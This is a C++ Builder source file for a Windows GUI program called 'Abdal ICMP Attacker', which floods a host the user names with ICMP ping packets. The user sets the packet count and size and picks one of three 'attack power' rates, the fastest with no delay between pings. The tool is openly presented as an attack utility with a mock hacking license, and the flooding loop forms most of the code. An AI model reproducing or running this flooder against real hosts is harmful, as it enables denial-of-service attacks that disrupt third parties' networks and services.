//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit3.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "sSkinManager"
#pragma link "sButton"
#pragma link "sEdit"
#pragma link "sBitBtn"
#pragma link "sRadioButton"
#pragma link "sMaskEdit"
#pragma link "acProgressBar"
#pragma resource "*.dfm"
TForm3 *Form3;

   String tempFolder = GetEnvironmentVariable("USERPROFILE"); // Define Temp Folder
//---------------------------------------------------------------------------
__fastcall TForm3::TForm3(TComponent* Owner)
	: TForm(Owner)
{
}
//---------------------------------------------------------------------------


void __fastcall TForm3::RadioButton1Click(TObject *Sender)
{
		Edit1->Text = "";
		Edit1->Enabled = 1;
        Edit1->SetFocus();


}
//---------------------------------------------------------------------------

void __fastcall TForm3::RadioButton2Click(TObject *Sender)
{

		Edit1->Enabled = 1;
		Edit1->Text = "";


		Edit1->Text = "www.";
        Edit1->SetFocus();



}
//---------------------------------------------------------------------------


void __fastcall TForm3::BitBtn2Click(TObject *Sender)
{
 MessageBoxA(Handle, "Abdal ICMP Attacker Ver 2.0 Copyright \(C\) \<2016-2017\>  <Ebrahim Shafiei>\n This program is free software: But you can not redistribute it and/or modify\n it under the terms of the  Abdal General Private License  as published by \n the  Hacking Software Foundation  ,  either version 1 of the License, or  any later version.\n This program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nAbdal General Private License for more details.\n","About License", MB_OK);
}
//---------------------------------------------------------------------------

void __fastcall TForm3::BitBtn1Click(TObject *Sender)
{
		Image2->Visible = 0 ;
		ListBox1->Visible = 1 ;
		ListBox1->Items->Clear();
		int attacknum = LabeledEdit1->Text.ToInt();
		int myPacketSize = LabeledEdit2->Text.ToInt();
		icmp->Host = Edit1->Text;
		icmp->PacketSize =  myPacketSize;
		int fast = RadioButton3->Checked;
		int superfast = RadioButton4->Checked;
		int ultrafast = RadioButton5->Checked;
		int iattack  = 1 ;


		ProgressBar1->Max = attacknum -1  ;

			   	 // Start Attack Proc



			// ########################## For Fast Icmp
			if (fast == 1) {

							for (int i = 0; i < attacknum ; i++) {

				try {
						Sleep(800);
						icmp->Ping();
						iattack = iattack++ ;
				   Application->ProcessMessages();
				   ProgressBar1->Position = i ;


								// Start Detect Success Attack
											  if (iattack == attacknum) {

														Mp->FileName = tempFolder + "\\msres.mp3";
														Mp->Open();
														Mp->Play();

											  }
								// End Detect Success Attack

					} //End Of Try
				 catch (...) {
							  ListBox1->Items->Add("Attack Failed");
					iattack = iattack++ ;
				   Application->ProcessMessages();


						// Start Detect Fail Attack
								if (iattack == attacknum) {

								Mp->FileName = tempFolder + "\\fsres.mp3";
									Mp->Open();
								Mp->Play();

																  }
						// End Detect Fail Attack


							 }    // end Of Catch



										} // end Of Attack Loop



												}// Radio 3
			 // ########################## For Fast Icmp



			  // ########################## For Super Fast Icmp



				 else if (superfast == 1 ) {


										for (int i = 0; i < attacknum ; i++) {



				try {
						Sleep(100);
						icmp->Ping();
				  	iattack = iattack++ ;
				   Application->ProcessMessages();
				   ProgressBar1->Position = i ;


								// Start Detect Success Attack
											  if (iattack == attacknum) {

														Mp->FileName = tempFolder + "\\msres.mp3";
														Mp->Open();
														Mp->Play();

											  }
								// End Detect Success Attack

					} //End Of Try
				 catch (...) {
							  ListBox1->Items->Add("Attack Failed");
				iattack = iattack++ ;
				   Application->ProcessMessages();


	// Start Detect Fail Attack
			if (iattack == attacknum) {

			Mp->FileName = tempFolder + "\\fsres.mp3";
				Mp->Open();
			Mp->Play();

											  }
	// End Detect Fail Attack
							 }    // end Of Catch



										} // end Of Attack Loop


                              

								}   // Radio 4

				// ########################## For Super Fast Icmp






				// ########################## For Ultra Fast Icmp


				else if (ultrafast == 1)   {


										for (int i = 0; i < attacknum ; i++) {

				try {

						icmp->Ping();
			iattack = iattack++ ;
				   Application->ProcessMessages();
				   ProgressBar1->Position = i ;


								// Start Detect Success Attack
											  if (iattack == attacknum) {

														Mp->FileName = tempFolder + "\\msres.mp3";
														Mp->Open();
														Mp->Play();

											  }
								// End Detect Success Attack

					} //End Of Try
				 catch (...) {
							  ListBox1->Items->Add("Attack Failed");
				iattack = iattack++ ;
				   Application->ProcessMessages();


	// Start Detect Fail Attack
			if (iattack == attacknum) {

			Mp->FileName = tempFolder + "\\fsres.mp3";
				Mp->Open();
			Mp->Play();

											  }
	// End Detect Fail Attack
							 }    // end Of Catch



										} // end Of Attack Loop




								}   // Radio 5

				// ########################## For UltraFast Icmp

				else {


					  MessageDlg(L" Please Select The Attack Power Method ", mtError, TMsgDlgButtons() << mbOK, 0);
				}



				 // End Attack Proc




} // End The Attack BT
//---------------------------------------------------------------------------

void __fastcall TForm3::icmpReply(TComponent *ASender, TReplyStatus * const AReplyStatus)

{
		UnicodeString Result ;
		Result = " Recieved " + UnicodeString(AReplyStatus->BytesReceived)+
				 " Bytes From " + AReplyStatus->FromIpAddress +
				 " Time = " +  UnicodeString(AReplyStatus->MsRoundTripTime)+
				 " Ms, TTL = " + UnicodeString((int)AReplyStatus->TimeToLive);
				 ListBox1->Items->Add(Result);
}
//---------------------------------------------------------------------------


void __fastcall TForm3::FormShow(TObject *Sender)
{




	GroupBox1->SetFocus();

			// Start Def The attack is completed With Effect

		TResourceStream* rStream = new TResourceStream((unsigned int)HInstance,
		L"ms_res", RT_RCDATA);
	rStream->SaveToFile(tempFolder + "\\msres.mp3");

	delete rStream;

	// End Def The attack is completed With Effect


			  // Start Def Attack Fail with Effect

			TResourceStream* frStream = new TResourceStream((unsigned int)HInstance,
		L"fs_res", RT_RCDATA);
	frStream->SaveToFile(tempFolder + "\\fsres.mp3");

	delete frStream;

	// End Def Attack Fail with Effect





}
//---------------------------------------------------------------------------

void __fastcall TForm3::FormClose(TObject *Sender, TCloseAction &Action)
{
	if (FileExists(tempFolder + "\\msres.mp3")) {
		DeleteFileW(tempFolder + "\\msres.mp3");
	}

	if (FileExists(tempFolder + "\\fsres.mp3")) {
		DeleteFileW(tempFolder + "\\fsres.mp3");
	}


}
//---------------------------------------------------------------------------

